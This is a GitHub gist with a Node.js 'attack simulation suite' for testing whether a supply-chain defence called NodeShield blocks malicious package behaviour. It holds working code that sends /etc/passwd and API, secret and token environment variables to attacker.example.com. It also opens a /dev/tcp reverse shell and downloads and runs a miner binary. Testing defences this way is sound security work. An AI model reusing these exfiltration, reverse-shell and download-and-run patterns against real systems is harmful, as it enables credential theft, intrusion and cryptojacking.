Created
November 17, 2025 04:44
-
-
Save williamzujkowski/2bcf63ccd4558cdfc4106553a9e68400 to your computer and use it in GitHub Desktop.
NodeShield attack simulation suite for testing CBOM enforcement
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env node | |
| /** | |
| * NodeShield Attack Simulation Suite | |
| * | |
| * Simulates common supply chain attack patterns to validate CBOM enforcement. | |
| * ⚠️ EDUCATIONAL ONLY - Do not use against systems you don't own. | |
| * | |
| * Based on NodeShield research dataset (arXiv 2508.13750) | |
| * Attack vectors tested: credential theft, RCE, data exfiltration, cryptomining | |
| * | |
| * Usage: | |
| * node attack-simulation.js --attack-type [credential|rce|exfil|crypto] | |
| * node attack-simulation.js --run-all | |
| */ | |
| const fs = require('fs'); | |
| const { exec } = require('child_process'); | |
| const https = require('https'); | |
| class AttackSimulator { | |
| constructor() { | |
| this.results = { | |
| attempted: 0, | |
| blocked: 0, | |
| succeeded: 0 | |
| }; | |
| } | |
| /** | |
| * Attack 1: Credential Exfiltration | |
| * Simulates malicious package reading /etc/passwd and exfiltrating to C2 | |
| */ | |
| async simulateCredentialTheft() { | |
| console.log('\n[ATTACK] Credential Theft Simulation'); | |
| console.log('Vector: Malicious logger package exfiltrates /etc/passwd\n'); | |
| this.results.attempted++; | |
| try { | |
| // Attempt unauthorized filesystem read | |
| const credentials = fs.readFileSync('/etc/passwd', 'utf8'); | |
| console.log(' ✗ Read /etc/passwd (SHOULD BE BLOCKED)'); | |
| // Attempt network egress | |
| const req = https.request('https://attacker.example.com/steal', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'text/plain' } | |
| }); | |
| req.write(credentials); | |
| req.end(); | |
| console.log(' ✗ Exfiltrated credentials (SHOULD BE BLOCKED)'); | |
| this.results.succeeded++; | |
| return { success: true, blocked: false }; | |
| } catch (err) { | |
| if (err.message.includes('CBOM') || err.message.includes('NodeShield')) { | |
| console.log(' ✓ BLOCKED by NodeShield'); | |
| console.log(` Reason: ${err.message}`); | |
| this.results.blocked++; | |
| return { success: false, blocked: true }; | |
| } | |
| throw err; | |
| } | |
| } | |
| /** | |
| * Attack 2: Remote Code Execution | |
| * Simulates compromised debug package spawning reverse shell | |
| */ | |
| async simulateRCE() { | |
| console.log('\n[ATTACK] Remote Code Execution Simulation'); | |
| console.log('Vector: Compromised debug module spawns reverse shell\n'); | |
| this.results.attempted++; | |
| try { | |
| // Attempt unauthorized process execution | |
| exec('/bin/sh -i >& /dev/tcp/attacker.example.com/4444 0>&1', (err) => { | |
| if (err) { | |
| console.log(' ✗ Reverse shell spawned (SHOULD BE BLOCKED)'); | |
| } | |
| }); | |
| this.results.succeeded++; | |
| return { success: true, blocked: false }; | |
| } catch (err) { | |
| if (err.message.includes('CBOM') || err.message.includes('NodeShield')) { | |
| console.log(' ✓ BLOCKED by NodeShield'); | |
| console.log(` Reason: ${err.message}`); | |
| this.results.blocked++; | |
| return { success: false, blocked: true }; | |
| } | |
| throw err; | |
| } | |
| } | |
| /** | |
| * Attack 3: Data Exfiltration | |
| * Simulates malicious analytics package stealing environment variables | |
| */ | |
| async simulateDataExfiltration() { | |
| console.log('\n[ATTACK] Data Exfiltration Simulation'); | |
| console.log('Vector: Malicious analytics package steals API keys from env\n'); | |
| this.results.attempted++; | |
| try { | |
| // Gather sensitive environment variables | |
| const sensitiveData = { | |
| keys: Object.keys(process.env).filter(k => | |
| k.includes('API') || k.includes('SECRET') || k.includes('TOKEN') | |
| ).reduce((acc, k) => { | |
| acc[k] = process.env[k]; | |
| return acc; | |
| }, {}) | |
| }; | |
| console.log(` ✗ Collected ${Object.keys(sensitiveData.keys).length} secrets`); | |
| // Attempt to POST to attacker C2 | |
| const payload = JSON.stringify(sensitiveData); | |
| const req = https.request('https://attacker.example.com/exfil', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' } | |
| }); | |
| req.write(payload); | |
| req.end(); | |
| console.log(' ✗ Exfiltrated secrets (SHOULD BE BLOCKED)'); | |
| this.results.succeeded++; | |
| return { success: true, blocked: false }; | |
| } catch (err) { | |
| if (err.message.includes('CBOM') || err.message.includes('NodeShield')) { | |
| console.log(' ✓ BLOCKED by NodeShield'); | |
| console.log(` Reason: ${err.message}`); | |
| this.results.blocked++; | |
| return { success: false, blocked: true }; | |
| } | |
| throw err; | |
| } | |
| } | |
| /** | |
| * Attack 4: Cryptomining | |
| * Simulates malicious package installing cryptominer | |
| */ | |
| async simulateCryptomining() { | |
| console.log('\n[ATTACK] Cryptomining Simulation'); | |
| console.log('Vector: Compromised package downloads and runs XMRig miner\n'); | |
| this.results.attempted++; | |
| try { | |
| // Attempt to download miner binary | |
| https.get('https://attacker.example.com/xmrig', (res) => { | |
| const miner = fs.createWriteStream('/tmp/miner'); | |
| res.pipe(miner); | |
| miner.on('finish', () => { | |
| console.log(' ✗ Downloaded miner binary (SHOULD BE BLOCKED)'); | |
| // Attempt to execute miner | |
| exec('chmod +x /tmp/miner && /tmp/miner --donate-level 0', (err) => { | |
| if (!err) { | |
| console.log(' ✗ Miner executing (SHOULD BE BLOCKED)'); | |
| } | |
| }); | |
| }); | |
| }); | |
| this.results.succeeded++; | |
| return { success: true, blocked: false }; | |
| } catch (err) { | |
| if (err.message.includes('CBOM') || err.message.includes('NodeShield')) { | |
| console.log(' ✓ BLOCKED by NodeShield'); | |
| console.log(` Reason: ${err.message}`); | |
| this.results.blocked++; | |
| return { success: false, blocked: true }; | |
| } | |
| throw err; | |
| } | |
| } | |
| async runAll() { | |
| console.log('===== NodeShield Attack Simulation Suite ====='); | |
| console.log('Testing 4 common supply chain attack vectors\n'); | |
| await this.simulateCredentialTheft(); | |
| await this.simulateRCE(); | |
| await this.simulateDataExfiltration(); | |
| await this.simulateCryptomining(); | |
| this.printResults(); | |
| } | |
| printResults() { | |
| console.log('\n===== Simulation Results ====='); | |
| console.log(`Total attacks attempted: ${this.results.attempted}`); | |
| console.log(`Blocked by NodeShield: ${this.results.blocked}`); | |
| console.log(`Successful attacks: ${this.results.succeeded}`); | |
| console.log(`Prevention rate: ${((this.results.blocked / this.results.attempted) * 100).toFixed(1)}%`); | |
| console.log('===============================\n'); | |
| } | |
| } | |
| // CLI handling | |
| const args = process.argv.slice(2); | |
| const simulator = new AttackSimulator(); | |
| if (args.includes('--run-all')) { | |
| simulator.runAll(); | |
| } else if (args.includes('--attack-type')) { | |
| const type = args[args.indexOf('--attack-type') + 1]; | |
| switch(type) { | |
| case 'credential': | |
| simulator.simulateCredentialTheft(); | |
| break; | |
| case 'rce': | |
| simulator.simulateRCE(); | |
| break; | |
| case 'exfil': | |
| simulator.simulateDataExfiltration(); | |
| break; | |
| case 'crypto': | |
| simulator.simulateCryptomining(); | |
| break; | |
| default: | |
| console.error('Unknown attack type. Use: credential, rce, exfil, crypto'); | |
| } | |
| } else { | |
| console.log('Usage:'); | |
| console.log(' node attack-simulation.js --run-all'); | |
| console.log(' node attack-simulation.js --attack-type [credential|rce|exfil|crypto]'); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment